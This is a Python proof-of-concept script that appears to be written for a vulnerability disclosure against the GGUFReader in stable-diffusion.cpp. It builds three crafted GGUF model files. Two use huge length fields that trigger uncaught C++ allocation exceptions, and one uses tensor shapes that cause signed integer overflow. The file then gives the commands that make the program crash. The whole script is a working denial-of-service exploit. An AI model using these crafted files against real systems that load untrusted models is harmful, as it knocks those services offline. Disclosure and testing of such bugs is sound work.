#!/usr/bin/env python3
"""
PoC: stable-diffusion.cpp GGUFReader — Unbounded Allocation from Attacker-Controlled
Length Fields causes Unhandled C++ Exception and Process Crash (DoS)

File: src/gguf_reader.hpp (GGUFReader class)
Repository: https://github.com/leejet/stable-diffusion.cpp
Commit: d6dd6d7b555c233bb9bc9f20b4751eb8c9269743

Usage:
    python3 poc_sd_cpp_gguf_reader.py
    ./sd --model poc_metadata_oob.gguf    # crashes with std::terminate()
    ./sd --model poc_tensor_oob.gguf      # crashes with std::terminate()
    ./sd --model poc_shape_overflow.gguf  # signed int overflow -> UB
"""
import struct

def u32le(v): return struct.pack('<I', v)
def u64le(v): return struct.pack('<Q', v)

def build_poc_metadata():
    """Bug 1: key_len -> std::string(key_len, '\0') at line 62 — uncaught std::length_error"""
    data  = b"GGUF"
    data += u32le(999)        # version=999 triggers GGUFReader fallback
    data += u64le(0)          # tensor_count = 0
    data += u64le(1)          # metadata_kv_count = 1
    data += u64le(0x4141414141414141)  # key_len = ~4.7 exabytes
    return data

def build_poc_tensor():
    """Bug 2: name_len -> info.name.resize(name_len) at line 140 — std::bad_alloc uncaught by catch(runtime_error)"""
    data  = b"GGUF"
    data += u32le(999)
    data += u64le(1)          # tensor_count = 1
    data += u64le(0)          # metadata_kv_count = 0
    data += u64le(0x4242424242424242)  # name_len = ~4.7 exabytes
    return data

def build_poc_shape_overflow():
    """Bug 3: shape[3] *= shape[4] at line 155 — signed int64 overflow (UB)"""
    data  = b"GGUF"
    data += u32le(999)
    data += u64le(1)          # tensor_count = 1
    data += u64le(0)          # metadata_kv_count = 0
    name = b"evil"
    data += u64le(len(name))
    data += name
    data += u32le(5)          # n_dims = 5 > GGML_MAX_DIMS=4
    for s in [1, 1, 1, 0x4000000000000000, 4]:
        data += struct.pack('<q', s)
    data += u32le(0)          # type = F32
    data += u64le(0)          # offset = 0
    return data

if __name__ == '__main__':
    for fname, builder, desc in [
        ("poc_metadata_oob.gguf", build_poc_metadata, "key_len crash (32 bytes)"),
        ("poc_tensor_oob.gguf", build_poc_tensor, "name_len crash (32 bytes)"),
        ("poc_shape_overflow.gguf", build_poc_shape_overflow, "shape overflow (92 bytes)"),
    ]:
        data = builder()
        with open(fname, 'wb') as f:
            f.write(data)
        print(f"[+] {fname} ({len(data)} bytes) — {desc}")